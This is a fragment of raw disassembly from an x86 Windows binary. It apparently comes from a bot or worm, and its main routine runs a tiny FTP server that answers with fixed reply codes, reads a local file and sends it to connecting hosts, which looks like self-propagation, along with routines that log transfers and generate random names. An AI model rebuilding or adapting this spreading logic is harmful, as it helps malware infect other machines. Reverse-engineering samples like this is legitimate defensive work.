		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44401C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444010
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444008
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_443FFC
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472A7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44767F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6ECB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6ECB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DE8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44767F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_444098 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		call	sub_5EA1BD
		nop
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DE8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447988
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		nop
		call	near ptr 2811E0Eh


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E74
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6EC9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472AB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6EC9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F60
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
